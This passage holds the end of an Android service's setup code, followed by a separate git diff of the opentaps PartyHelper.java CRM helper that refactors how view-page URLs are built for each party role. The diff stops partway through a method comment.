new IntentFilter(); shutdownIntentFilter.addAction(Intent.ACTION_SHUTDOWN); // HTC devices use a different Intent action: // http://stackoverflow.com/q/5076410/422906 shutdownIntentFilter.addAction("android.intent.action.QUICKBOOT_POWEROFF"); registerReceiver(shutdownMonitor, shutdownIntentFilter); prefs = getSharedPreferences(SP_NAME, MODE_PRIVATE); prefs.registerOnSharedPreferenceChangeListener(this); final int largeIconWidth = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_width); final int largeIconHeight = getResources().getDimensionPixelSize( android.R.dimen.notification_large_icon_height); freeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_free_large), largeIconWidth, largeIconHeight, true); orangeLargeIcon = Bitmap.createScaledBitmap( BitmapFactory.decodeResource(getResources(), R.drawable.ic_stat_notify_service_orange_large), largeIconWidth, largeIconHeight, true); }
diff --git a/hot-deploy/opentaps-common/src/common/org/opentaps/common/party/PartyHelper.java b/hot-deploy/opentaps-common/src/common/org/opentaps/common/party/PartyHelper.java index a430c7252..a074d0f83 100644 --- a/hot-deploy/opentaps-common/src/common/org/opentaps/common/party/PartyHelper.java +++ b/hot-deploy/opentaps-common/src/common/org/opentaps/common/party/PartyHelper.java @@ -1,987 +1,986 @@ /* * Copyright (c) 2006 - 2009 Open Source Strategies, Inc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the Honest Public License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * Honest Public License for more details. * * You should have received a copy of the Honest Public License * along with this program; if not, write to Funambol, * 643 Bair Island Road, Suite 305 - Redwood City, CA 94063, USA */ /* Copyright (c) 2005-2006 Open Source Strategies, Inc. */ /* * Copyright (c) 2001-2005 The Open For Business Project - www.ofbiz.org * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT * OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package org.opentaps.common.party; import java.sql.Timestamp; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.StringTokenizer; import javolution.util.FastList; import org.ofbiz.base.util.Debug; import org.ofbiz.base.util.UtilDateTime; import org.ofbiz.base.util.UtilFormatOut; import org.ofbiz.base.util.UtilMisc; import org.ofbiz.base.util.UtilValidate; import org.ofbiz.entity.GenericDelegator; import org.ofbiz.entity.GenericEntityException; import org.ofbiz.entity.GenericValue; import org.ofbiz.entity.condition.EntityCondition; import org.ofbiz.entity.condition.EntityOperator; import org.ofbiz.entity.util.EntityUtil; import org.ofbiz.service.GenericServiceException; import org.ofbiz.service.LocalDispatcher; import org.ofbiz.service.ServiceUtil; import org.opentaps.common.util.UtilConfig; import org.opentaps.domain.base.entities.Party; import org.opentaps.foundation.repository.RepositoryException; /** * Party Helper methods which are designed to provide a consistent set of APIs that can be reused by * higher level services. * TODO this came from CRMSFA PartyHelper. The strategy for refactoring crmsfa is to create a CrmPartyHelper that extends this. * * @author <a href="mailto:[email protected]">Leon Torres</a> * @version $Rev: 548 $ */ public final class PartyHelper { private PartyHelper() { } private static final String MODULE = PartyHelper.class.getName(); public static List<String> CLIENT_PARTY_ROLES = Arrays.asList("ACCOUNT", "CONTACT", "PROSPECT", "PARTNER"); /** * A helper method which finds the first valid roleTypeId for a partyId, using a List of possible roleTypeIds. * * @param partyId the party id * @param possibleRoleTypeIds a List of roleTypeIds * @param delegator a <code>GenericDelegator</code> * @return the first roleTypeId from possibleRoleTypeIds which is actually found in PartyRole for the given partyId * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static String getFirstValidRoleTypeId(String partyId, List possibleRoleTypeIds, GenericDelegator delegator) throws GenericEntityException { List partyRoles = delegator.findByAndCache("PartyRole", UtilMisc.toMap("partyId", partyId)); // iterate across all possible roleTypeIds from the parameter Iterator iterValid = possibleRoleTypeIds.iterator(); while (iterValid.hasNext()) { String possibleRoleTypeId = (String) iterValid.next(); // try to look for each one in the list of PartyRoles Iterator partyRolesIter = partyRoles.iterator(); while (partyRolesIter.hasNext()) { GenericValue partyRole = (GenericValue) partyRolesIter.next(); if (possibleRoleTypeId.equals(partyRole.getString("roleTypeId"))) { return possibleRoleTypeId; } } } return null; } /** * A helper method for creating a PartyRelationship entity from partyIdTo to partyIdFrom with specified partyRelationshipTypeId, roleTypeIdFrom, * a List of valid roles for the to-party, and a flag to expire any existing relationships between the two parties of the same * type. The idea is that several services would do validation and then use this method to do all the work. * * @param partyIdTo the party id to of the PartyRelationship to create * @param partyIdFrom the party id from of the PartyRelationship to create * @param roleTypeIdFrom the role type id from of the PartyRelationship to create * @param partyRelationshipTypeId the partyRelationshipTypeId of the PartyRelationship to create * @param securityGroupId the securityGroupId of the PartyRelationship to create * @param validToPartyRoles a List of roleTypeIds which are valid for the partyIdTo in the create relationship. It will cycle * through until the first of these roles is actually associated with partyIdTo and then create a PartyRelationship using that * roleTypeId. If none of these are associated with partyIdTo, then it will return false * @param fromDate the from date of the PartyRelationship to create * @param expireExistingRelationships If set to true, will look for all existing PartyRelationships of partyIdFrom, partyRelationshipTypeId * and expire all of them as of the passed in fromDate * @param userLogin a <code>GenericValue</code> value * @param delegator a <code>GenericDelegator</code> value * @param dispatcher a <code>LocalDispatcher</code> value * @return <code>false</code> if no relationship was created or <code>true</code> if operation succeeds * @throws GenericEntityException if an error occurs * @throws GenericServiceException if an error occurs */ @SuppressWarnings("unchecked") public static boolean createNewPartyToRelationship(String partyIdTo, String partyIdFrom, String roleTypeIdFrom, String partyRelationshipTypeId, String securityGroupId, List validToPartyRoles, Timestamp fromDate, boolean expireExistingRelationships, GenericValue userLogin, GenericDelegator delegator, LocalDispatcher dispatcher) throws GenericEntityException, GenericServiceException { // get the first valid roleTypeIdTo from a list of possible roles for the partyIdTo // this will be the role we use as roleTypeIdTo in PartyRelationship. String roleTypeIdTo = getFirstValidRoleTypeId(partyIdTo, validToPartyRoles, delegator); // if no matching roles were found, then no relationship created if (roleTypeIdTo == null) { return false; } /* * if expireExistingRelationships is true, then find all existing PartyRelationships with partyIdFrom and partyRelationshipTypeId which * are not expired on the fromDate and then expire them */ if (expireExistingRelationships) { List partyRelationships = delegator.findByAnd("PartyRelationship", UtilMisc.toMap("partyIdFrom", partyIdFrom, "partyRelationshipTypeId", partyRelationshipTypeId)); expirePartyRelationships(partyRelationships, fromDate, dispatcher, userLogin); } // call createPartyRelationship service to create PartyRelationship using parameters and the role we just found Map input = UtilMisc.toMap("partyIdTo", partyIdTo, "roleTypeIdTo", roleTypeIdTo, "partyIdFrom", partyIdFrom, "roleTypeIdFrom", roleTypeIdFrom); input.put("partyRelationshipTypeId", partyRelationshipTypeId); input.put("securityGroupId", securityGroupId); input.put("fromDate", fromDate); input.put("userLogin", userLogin); Map serviceResult = dispatcher.runSync("createPartyRelationship", input); if (ServiceUtil.isError(serviceResult)) { return false; } // on success return true return true; } /** * Same as above except uses a default of now for the timestamp. * @param partyIdTo a <code>String</code> value * @param partyIdFrom a <code>String</code> value * @param roleTypeIdFrom a <code>String</code> value * @param partyRelationshipTypeId a <code>String</code> value * @param securityGroupId a <code>String</code> value * @param validToPartyRoles a <code>List</code> value * @param expireExistingRelationships a <code>boolean</code> value * @param userLogin a <code>GenericValue</code> value * @param delegator a <code>GenericDelegator</code> value * @param dispatcher a <code>LocalDispatcher</code> value * @return a <code>boolean</code> value * @exception GenericEntityException if an error occurs * @exception GenericServiceException if an error occurs */ @SuppressWarnings("unchecked") public static boolean createNewPartyToRelationship(String partyIdTo, String partyIdFrom, String roleTypeIdFrom, String partyRelationshipTypeId, String securityGroupId, List validToPartyRoles, boolean expireExistingRelationships, GenericValue userLogin, GenericDelegator delegator, LocalDispatcher dispatcher) throws GenericEntityException, GenericServiceException { return createNewPartyToRelationship(partyIdTo, partyIdFrom, roleTypeIdFrom, partyRelationshipTypeId, securityGroupId, validToPartyRoles, UtilDateTime.nowTimestamp(), expireExistingRelationships, userLogin, delegator, dispatcher); } /** * Expires a list of PartyRelationships that are still active on expireDate. * @param partyRelationships a <code>List</code> of <code>PartyRelationship</code> to expire * @param expireDate the expiration date to set * @param dispatcher a <code>LocalDispatcher</code> value * @param userLogin a <code>GenericValue</code> value * @exception GenericServiceException if an error occurs */ @SuppressWarnings("unchecked") public static void expirePartyRelationships(List partyRelationships, Timestamp expireDate, LocalDispatcher dispatcher, GenericValue userLogin) throws GenericServiceException { List relationsActiveOnFromDate = EntityUtil.filterByDate(partyRelationships, expireDate); // to expire on expireDate, set the thruDate to the expireDate in the parameter and call updatePartyRelationship service Iterator iter = relationsActiveOnFromDate.iterator(); while (iter.hasNext()) { GenericValue partyRelationship = (GenericValue) iter.next(); Map input = UtilMisc.toMap("partyIdTo", partyRelationship.getString("partyIdTo"), "roleTypeIdTo", partyRelationship.getString("roleTypeIdTo"), "partyIdFrom", partyRelationship.getString("partyIdFrom"), "roleTypeIdFrom", partyRelationship.getString("roleTypeIdFrom")); input.put("fromDate", partyRelationship.getTimestamp("fromDate")); input.put("userLogin", userLogin); input.put("thruDate", expireDate); Map serviceResult = dispatcher.runSync("updatePartyRelationship", input); if (ServiceUtil.isError(serviceResult)) { throw new GenericServiceException("Failed to expire PartyRelationship with values: " + input.toString()); } } } /** * Common method used by getCurrentlyResponsibleParty and related methods. This method will obtain the first PartyRelationship found with the given criteria * and return the PartySummaryCRMView with partyId = partyRelationship.partyIdTo. * * @param partyRelationshipTypeId The party relationship (e.g., reps that are RESPONSIBLE_FOR an account) * @param partyIdFrom The partyId of the account/contact/lead * @param roleTypeIdFrom The role of the account/contact/lead (e.g., ACCOUNT, CONTACT, LEAD) * @param securityGroupId Optional securityGroupId of the relationship * @param activeDate Check only for active relationships as of this timestamp * @param delegator a <code>GenericDelegator</code> value * @return First non-expired <code>PartySummaryCRMView</code> or <code>null</code> if none found * @exception GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static GenericValue getActivePartyByRole(String partyRelationshipTypeId, String partyIdFrom, String roleTypeIdFrom, String securityGroupId, Timestamp activeDate, GenericDelegator delegator) throws GenericEntityException { Map input = UtilMisc.toMap("partyRelationshipTypeId", partyRelationshipTypeId, "partyIdFrom", partyIdFrom, "roleTypeIdFrom", roleTypeIdFrom); if (securityGroupId != null) { input.put("securityGroupId", securityGroupId); } List relationships = delegator.findByAnd("PartyRelationship", input); List activeRelationships = EntityUtil.filterByDate(relationships, activeDate); // if none are found, log a message about this and return null if (activeRelationships.size() == 0) { Debug.logInfo("No active PartyRelationships found with relationship [" + partyRelationshipTypeId + "] for party [" + partyIdFrom + "] in role [" + roleTypeIdFrom + "]", MODULE); return null; } // return the related party with partyId = partyRelationship.partyIdTo GenericValue partyRelationship = (GenericValue) activeRelationships.get(0); return delegator.findByPrimaryKey("PartySummaryCRMView", UtilMisc.toMap("partyId", partyRelationship.getString("partyIdTo"))); } /** * As above but without security group Id specified. * @param partyRelationshipTypeId The party relationship (e.g., reps that are RESPONSIBLE_FOR an account) * @param partyIdFrom The partyId of the account/contact/lead * @param roleTypeIdFrom The role of the account/contact/lead (e.g., ACCOUNT, CONTACT, LEAD) * @param activeDate Check only for active relationships as of this timestamp * @param delegator a <code>GenericDelegator</code> value * @return First non-expired <code>PartySummaryCRMView</code> or <code>null</code> if none found * @exception GenericEntityException if an error occurs */ public static GenericValue getActivePartyByRole(String partyRelationshipTypeId, String partyIdFrom, String roleTypeIdFrom, Timestamp activeDate, GenericDelegator delegator) throws GenericEntityException { return getActivePartyByRole(partyRelationshipTypeId, partyIdFrom, roleTypeIdFrom, null, activeDate, delegator); } /** * Method to copy all "To" relationships of a From party to another From party. For instance, use this method to copy all relationships of an * account (or optionally a specific relationship), such as the managers and reps, over to a team. * NOTE: This service works on unexpired relationships as of now and will need to be refactored for other Dates. * * @param partyIdFrom partyIdFrom of the <code>PartyRelationship</code> to copy * @param roleTypeIdFrom roleTypeIdFrom of the <code>PartyRelationship</code> to copy * @param partyRelationshipTypeId optional, partyRelationshipTypeId of the <code>PartyRelationship</code> to copy * @param newPartyIdFrom new partyIdFrom * @param newRoleTypeIdFrom new roleTypeIdFrom * @param userLogin a <code>GenericValue</code> value * @param delegator a <code>GenericDelegator</code> value * @param dispatcher a <code>LocalDispatcher</code> value * @exception GenericEntityException if an error occurs * @exception GenericServiceException if an error occurs */ @SuppressWarnings("unchecked") public static void copyToPartyRelationships(String partyIdFrom, String roleTypeIdFrom, String partyRelationshipTypeId, String newPartyIdFrom, String newRoleTypeIdFrom, GenericValue userLogin, GenericDelegator delegator, LocalDispatcher dispatcher) throws GenericEntityException, GenericServiceException { // hardcoded activeDate Timestamp activeDate = UtilDateTime.nowTimestamp(); // first get the unexpired relationships for the From party Map input = UtilMisc.toMap("partyIdFrom", partyIdFrom, "roleTypeIdFrom", roleTypeIdFrom); if (partyRelationshipTypeId != null) { input.put("partyRelationshipTypeId", partyRelationshipTypeId); } List relationships = delegator.findByAnd("PartyRelationship", input); List activeRelationships = EntityUtil.filterByDate(relationships, activeDate); for (Iterator iter = activeRelationships.iterator(); iter.hasNext();) { GenericValue relationship = (GenericValue) iter.next(); input = UtilMisc.toMap("partyIdTo", relationship.getString("partyIdTo"), "roleTypeIdTo", relationship.getString("roleTypeIdTo")); input.put("partyIdFrom", newPartyIdFrom); input.put("roleTypeIdFrom", newRoleTypeIdFrom); input.put("fromDate", activeDate); // if relationship already exists, continue GenericValue check = delegator.findByPrimaryKey("PartyRelationship", input); if (check != null) { continue; } // create the relationship input.put("partyRelationshipTypeId", relationship.getString("partyRelationshipTypeId")); input.put("securityGroupId", relationship.getString("securityGroupId")); input.put("statusId", relationship.getString("statusId")); input.put("priorityTypeId", relationship.getString("priorityTypeId")); input.put("comments", relationship.getString("comments")); input.put("userLogin", userLogin); Map serviceResult = dispatcher.runSync("createPartyRelationship", input); if (ServiceUtil.isError(serviceResult)) { throw new GenericServiceException(ServiceUtil.getErrorMessage(serviceResult)); } } } /** * Method to copy all "To" relationships of a From party to another From party. For instance, use this method to copy all relationships of an * account (or optionally a specific relationship), such as the managers and reps, over to a team. * NOTE: This service works on unexpired relationships as of now and will need to be refactored for other Dates. * * @param partyIdFrom partyIdFrom of the <code>PartyRelationship</code> to copy * @param roleTypeIdFrom roleTypeIdFrom of the <code>PartyRelationship</code> to copy * @param newPartyIdFrom new partyIdFrom * @param newRoleTypeIdFrom new roleTypeIdFrom * @param userLogin a <code>GenericValue</code> value * @param delegator a <code>GenericDelegator</code> value * @param dispatcher a <code>LocalDispatcher</code> value * @exception GenericEntityException if an error occurs * @exception GenericServiceException if an error occurs */ public static void copyToPartyRelationships(String partyIdFrom, String roleTypeIdFrom, String newPartyIdFrom, String newRoleTypeIdFrom, GenericValue userLogin, GenericDelegator delegator, LocalDispatcher dispatcher) throws GenericEntityException, GenericServiceException { copyToPartyRelationships(partyIdFrom, roleTypeIdFrom, null, newPartyIdFrom, newRoleTypeIdFrom, userLogin, delegator, dispatcher); } /** * Returns the names for all partyIds using ofbiz PartyHelper.getPartyName. * @param partyIds the party to get the names for * @param delegator a <code>GenericDelegator</code> value * @param lastNameFirst set to <code>true</code> to put the last name first * @return a <code>List</code> of <code>Map</code> of the names of each party * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List<Map> getPartyNames(List<String> partyIds, GenericDelegator delegator, boolean lastNameFirst) throws GenericEntityException { List<Map> partyNames = new ArrayList<Map>(); for (String partyId : partyIds) { partyNames.add(UtilMisc.toMap(partyId, org.ofbiz.party.party.PartyHelper.getPartyName(delegator, partyId, lastNameFirst))); } return partyNames; } /** * Returns names for all partyIds, first name first. * @param partyIds the party to get the names for * @param delegator a <code>GenericDelegator</code> value * @return a <code>List</code> of <code>Map</code> of the names of each party * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List<Map> getPartyNames(List<String> partyIds, GenericDelegator delegator) throws GenericEntityException { return getPartyNames(partyIds, delegator, false); } /** * Retrieves all contact mechs for a party meeting these criteria, oldest one (by purpose date) first. * @param partyId the party to find the <code>ContachMech</code> for * @param contactMechTypeId the type of <code>ContachMech</code> to find * @param contactMechPurposeTypeId the purpose of <code>ContachMech</code> to find * @param additionalConditions other conditions on the <code>ContachMech</code> to find * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of <code>ContachMech</code> * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List getCurrentContactMechsForParty(String partyId, String contactMechTypeId, String contactMechPurposeTypeId, List additionalConditions, GenericDelegator delegator) throws GenericEntityException { Timestamp now = UtilDateTime.nowTimestamp(); List<EntityCondition> conditions = UtilMisc.<EntityCondition>toList( EntityCondition.makeCondition("partyId", partyId), EntityCondition.makeCondition("contactMechPurposeTypeId", contactMechPurposeTypeId), EntityCondition.makeCondition("contactMechTypeId", contactMechTypeId)); if ("EMAIL_ADDRESS".equals(contactMechTypeId)) { conditions.add(EntityCondition.makeCondition("infoString", EntityOperator.NOT_EQUAL, null)); } if (UtilValidate.isNotEmpty(additionalConditions)) { conditions.addAll(additionalConditions); } // TODO: Put the filter by dates in the conditions list List contactMechs = delegator.findByCondition("PartyContactWithPurpose", EntityCondition.makeCondition(conditions, EntityOperator.AND), null, UtilMisc.toList("-purposeFromDate")); contactMechs = EntityUtil.filterByDate(contactMechs, now, "contactFromDate", "contactThruDate", true); contactMechs = EntityUtil.filterByDate(contactMechs, now, "purposeFromDate", "purposeThruDate", true); return contactMechs; } /** * Retrieves all contact mechs for a party meeting these criteria, oldest one (by purpose date) first. * @param partyId the party to find the <code>ContachMech</code> for * @param contactMechTypeId the type of <code>ContachMech</code> to find * @param contactMechPurposeTypeId the purpose of <code>ContachMech</code> to find * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of <code>ContachMech</code> * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List getCurrentContactMechsForParty(String partyId, String contactMechTypeId, String contactMechPurposeTypeId, GenericDelegator delegator) throws GenericEntityException { return getCurrentContactMechsForParty(partyId, contactMechTypeId, contactMechPurposeTypeId, null, delegator); } /** * Retrieves the email for the purpose and party which is ContactMech.infoString. * @param partyId the party to find the email for * @param contactMechPurposeTypeId the purpose of the email to find * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of email <code>ContachMech</code> * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List getEmailsForParty(String partyId, String contactMechPurposeTypeId, GenericDelegator delegator) throws GenericEntityException { return EntityUtil.getFieldListFromEntityList(getCurrentContactMechsForParty(partyId, "EMAIL_ADDRESS", contactMechPurposeTypeId, delegator), "infoString", true); } /** * Returns the first email for the party and the purpose as a String. * @param partyId the party to find the email for * @param contactMechPurposeTypeId the purpose of the email to find * @param delegator a <code>GenericDelegator</code> value * @return the email address <code>String</code> * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static String getEmailForPartyByPurpose(String partyId, String contactMechPurposeTypeId, GenericDelegator delegator) throws GenericEntityException { String emailAddress = null; List addresses = getEmailsForParty(partyId, contactMechPurposeTypeId, delegator); if (UtilValidate.isNotEmpty(addresses)) { emailAddress = (String) addresses.get(0); } return emailAddress; } /** * Retrieve the oldest current email address with a PRIMARY_EMAIL purposeTypeId for a party. * @param partyId the party to find the email for * @param delegator a <code>GenericDelegator</code> value * @return the email address <code>String</code> * @deprecated Use <code>org.opentaps.domain.party.Party.getPrimaryEmail()</code> */ @Deprecated public static String getPrimaryEmailForParty(String partyId, GenericDelegator delegator) { try { return getEmailForPartyByPurpose(partyId, "PRIMARY_EMAIL", delegator); } catch (GenericEntityException e) { Debug.logError(e, "Unable to retrieve primary email address for partyId: " + partyId, MODULE); return null; } } /** * Provides current party classification groups for a party. * @param partyId the party to find the classification for * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of <code>PartyClassificationGroup</code> values ordered by description */ @SuppressWarnings("unchecked") public static List getClassificationGroupsForParty(String partyId, GenericDelegator delegator) { List groups = new ArrayList(); try { List classifications = delegator.findByAnd("PartyClassification", UtilMisc.toMap("partyId", partyId)); classifications = EntityUtil.filterByDate(classifications); List partyClassificationGroupIds = EntityUtil.getFieldListFromEntityList(classifications, "partyClassificationGroupId", true); if (UtilValidate.isNotEmpty(partyClassificationGroupIds)) { List partyClassificationGroups = delegator.findByCondition("PartyClassificationGroup", EntityCondition.makeCondition("partyClassificationGroupId", EntityOperator.IN, partyClassificationGroupIds), null, UtilMisc.toList("description")); if (UtilValidate.isNotEmpty(partyClassificationGroups)) { groups.addAll(partyClassificationGroups); } } } catch (GenericEntityException e) { Debug.logError(e, "Unable to retrieve party classification groups for partyId: " + partyId, MODULE); } return groups; } /** * Provides a map of distinct combinations of account#/postalCode/countryCode from PartyCarrierAccount, keyed by carrierPartyId. * * @param partyId the party to find the <code>PartyCarrierAccounts</code> for * @param delegator a <code>GenericDelegator</code> value * @return a map of distinct combinations of account#/postalCode/countryCode from PartyCarrierAccount, keyed by carrierPartyId */ @SuppressWarnings("unchecked") public static Map getPartyCarrierAccounts(String partyId, GenericDelegator delegator) { Map carrierAccountData = new HashMap(); if (UtilValidate.isEmpty(partyId)) { return carrierAccountData; } List cond = UtilMisc.toList(EntityCondition.makeCondition("partyId", partyId), EntityUtil.getFilterByDateExpr()); List<GenericValue> partyCarrierAccounts = null; try { partyCarrierAccounts = delegator.findByCondition("PartyCarrierAccount", EntityCondition.makeCondition(cond, EntityOperator.AND), null, UtilMisc.toList("accountNumber")); } catch (GenericEntityException e) { Debug.logError(e, MODULE); partyCarrierAccounts = new ArrayList<GenericValue>(); } Iterator pcat = partyCarrierAccounts.iterator(); while (pcat.hasNext()) { GenericValue partyCarrierAccount = (GenericValue) pcat.next(); String carrierPartyId = partyCarrierAccount.getString("carrierPartyId"); String carrierName = org.ofbiz.party.party.PartyHelper.getPartyName(delegator, carrierPartyId, false); List carrierInfo = (List) carrierAccountData.get(carrierPartyId); if (carrierInfo == null) { carrierInfo = new ArrayList(); } carrierAccountData.put(carrierPartyId, carrierInfo); String accountNumber = partyCarrierAccount.getString("accountNumber"); String postalCode = partyCarrierAccount.getString("postalCode"); String countryGeoCode = partyCarrierAccount.getString("countryGeoCode"); String isDefault = partyCarrierAccount.getString("isDefault"); Map<String, Object> accountMap = UtilMisc.<String, Object>toMap("carrierName", carrierName, "accountNumber", accountNumber, "postalCode", postalCode, "countryGeoCode", countryGeoCode, "isDefault", isDefault); if (!carrierInfo.contains(accountMap)) { carrierInfo.add(accountMap); } } return carrierAccountData; } /** * Checks if the given party id correspond to an internal organization. * * @param partyId a <code>String</code> value * @param delegator a <code>GenericDelegator</code> value * @return <code>true</code> if it is an internal organization */ public static boolean isInternalOrganization(String partyId, GenericDelegator delegator) { GenericValue role = null; try { role = delegator.findByPrimaryKey("PartyRole", UtilMisc.toMap("partyId", partyId, "roleTypeId", "INTERNAL_ORGANIZATIO")); } catch (GenericEntityException e) { Debug.logError(e, MODULE); } return (role != null); } /** * Retrieve the current phone numbers for a party. * @param partyId the party to find the phone numbers for * @param delegator a <code>GenericDelegator</code> value * @return a list of <code>PartyContactWithPurpose</code> records */ @SuppressWarnings("unchecked") public static List<GenericValue> getPhoneNumbersForParty(String partyId, GenericDelegator delegator) { Timestamp now = UtilDateTime.nowTimestamp(); List conditions = UtilMisc.toList( EntityCondition.makeCondition("partyId", partyId), EntityCondition.makeCondition("contactMechPurposeTypeId", EntityOperator.LIKE, "%PHONE%"), EntityCondition.makeCondition("contactMechTypeId", "TELECOM_NUMBER")); List phoneNumbers = new ArrayList<GenericValue>(); try { List<GenericValue> partyContacts = delegator.findByCondition("PartyContactWithPurpose", EntityCondition.makeCondition(conditions, EntityOperator.AND), null, UtilMisc.toList("-purposeFromDate")); partyContacts = EntityUtil.filterByDate(partyContacts, now, "contactFromDate", "contactThruDate", true); partyContacts = EntityUtil.filterByDate(partyContacts, now, "purposeFromDate", "purposeThruDate", true); for (GenericValue partyContact : partyContacts) { phoneNumbers.add(delegator.findByPrimaryKey("TelecomNumber", UtilMisc.toMap("contactMechId", partyContact.get("contactMechId")))); } } catch (GenericEntityException e) { Debug.logError(e, "Unable to retrieve phone numbers for partyId: " + partyId, MODULE); } return phoneNumbers; } /** * Get the active partners of the given organization. * @param organizationPartyId the organization partyId * @param delegator a <code>GenericDelegator</code> value * @return the <code>List</code> of <code>PartyFromSummaryByRelationship</code> of the organization suppliers * @throws GenericEntityException if an error occurs */ @SuppressWarnings("unchecked") public static List<GenericValue> getPartners(String organizationPartyId, GenericDelegator delegator) throws GenericEntityException { List conditions = UtilMisc.toList( EntityCondition.makeCondition("partyIdTo", EntityOperator.EQUALS, organizationPartyId), EntityCondition.makeCondition("roleTypeIdTo", EntityOperator.EQUALS, "INTERNAL_ORGANIZATIO"), EntityCondition.makeCondition("roleTypeIdFrom", EntityOperator.EQUALS, "PARTNER"), EntityCondition.makeCondition("partyRelationshipTypeId", EntityOperator.EQUALS, "PARTNER_OF"), EntityUtil.getFilterByDateExpr() ); return delegator.findByAnd("PartyFromSummaryByRelationship", conditions); } /** * Generates a hyperlink URL to the correct view profile page for the given party with the given party role * For example, leads will get viewLead, contacts viewContact, account viewAccount, supplier viewSupplier and so on. * Everybody else gets to go to the party manager (should only be backend users). * Note that application name and control servlet mount point are hardcoded for now. * * @param party the party <code>GenericValue</code> * @param roleIds the list of <code>roleTypId</code> to consider for the given party * @param externalLoginKey the <code>externalLoginKey</code> string to add in the link * @return the URL to the view page for the given party * @throws GenericEntityException if an error occurs */ public static String createViewPageURL(GenericValue party, List<String> roleIds, String externalLoginKey) throws GenericEntityException { GenericDelegator delegator = party.getDelegator(); StringBuffer uri = new StringBuffer(); String roleTypeId = getFirstValidRoleTypeId(party.getString("partyId"), roleIds, delegator); if (roleTypeId != null) { // let's also make sure that a Client PartyRelationship exists, otherwise we shouldn't generate a view link to a CRM account, contact or lead EntityCondition conditions = EntityCondition.makeCondition(EntityOperator.AND, EntityUtil.getFilterByDateExpr(), EntityCondition.makeCondition("partyId", party.getString("partyId")), EntityCondition.makeCondition("roleTypeIdFrom", EntityOperator.IN, roleIds) ); List<GenericValue> crmRelationships = delegator.findByConditionCache("PartyFromSummaryByRelationship", conditions, Arrays.asList("partyId"), null); if (crmRelationships.size() > 0) { - uri.append("/crmsfa/control/"); if ("PROSPECT".equals(roleTypeId)) { - uri.append("viewLead?"); + uri.append("/crmsfa/control/viewLead?"); } else if ("ACCOUNT".equals(roleTypeId)) { - uri.append("viewAccount?"); + uri.append("/crmsfa/control/viewAccount?"); } else if ("CONTACT".equals(roleTypeId)) { - uri.append("viewContact?"); + uri.append("/crmsfa/control/viewContact?"); } else if ("PARTNER".equals(roleTypeId)) { - uri.append("viewPartner?"); + uri.append("/crmsfa/control/viewPartner?"); } else { roleTypeId = null; // default to partymgr viewprofile } } else { if ("SUPPLIER".equals(roleTypeId)) { // Suppliers have no relationship but should be directed to purchasing uri.append("/purchasing/control/viewSupplier?"); } else { roleTypeId = null; // default to partymgr viewprofile } } } if (roleTypeId == null) { uri.append("/partymgr/control/viewprofile?"); if (UtilValidate.isNotEmpty(externalLoginKey)) { uri.append("externalLoginKey=").append(externalLoginKey).append("&"); } } uri.append("partyId=").append(party.getString("partyId")); return uri.toString(); } /** * Retrieves the view url with partyId. * @param partyId the party id * @param delegator a <code>GenericDelegator</code> value * @param externalLoginKey the <code>externalLoginKey</code> string to add in the link * @return the URL to the view page for the given party * @throws GenericEntityException if an error occurs */ public static String createViewPageURL(String partyId, GenericDelegator delegator, String externalLoginKey) throws GenericEntityException { GenericValue party = delegator.findByPrimaryKey("PartySummaryCRMView", UtilMisc.toMap("partyId", partyId)); return createViewPageURL(party, CLIENT_PARTY_ROLES, externalLoginKey); } /** * Generates a hyperlink to the correct view profile page for the given party with the standard CRM party using createViewPageURL * description string ${groupName} ${firstName} ${lastName} (${partyId}). Some pages show list of * all kinds of parties, including Leads, Accounts, and non-CRM parties. This method generate a hyperlink to * the correct view page, such as viewAccount for Accounts, or partymgr viewprofile for non-CRM parties. * @param partyId the party id * @param delegator a <code>GenericDelegator</code> value * @param externalLoginKey the <code>externalLoginKey</code> string to add in the link * @return the HTML hyperlink to the view page for the given party * @throws GenericEntityException if an error occurs */ public static String createViewPageLink(String partyId, GenericDelegator delegator, String externalLoginKey) throws GenericEntityException { GenericValue party = delegator.findByPrimaryKeyCache("PartySummaryCRMView", UtilMisc.toMap("partyId", partyId)); // generate the contents of href="" String uri = createViewPageURL(party, CLIENT_PARTY_ROLES, externalLoginKey); // generate the display name StringBuffer name = new StringBuffer(getCrmsfaPartyName(party)); // put everything together StringBuffer buff = new StringBuffer("<a class=\"linktext\" href=\""); buff.append(uri).append("\">"); buff.append(name).append("</a>"); return buff.toString(); } /** * Checks whether the party can send or receive internal messages. * * @param partyId the party id * @param property sender or recipient 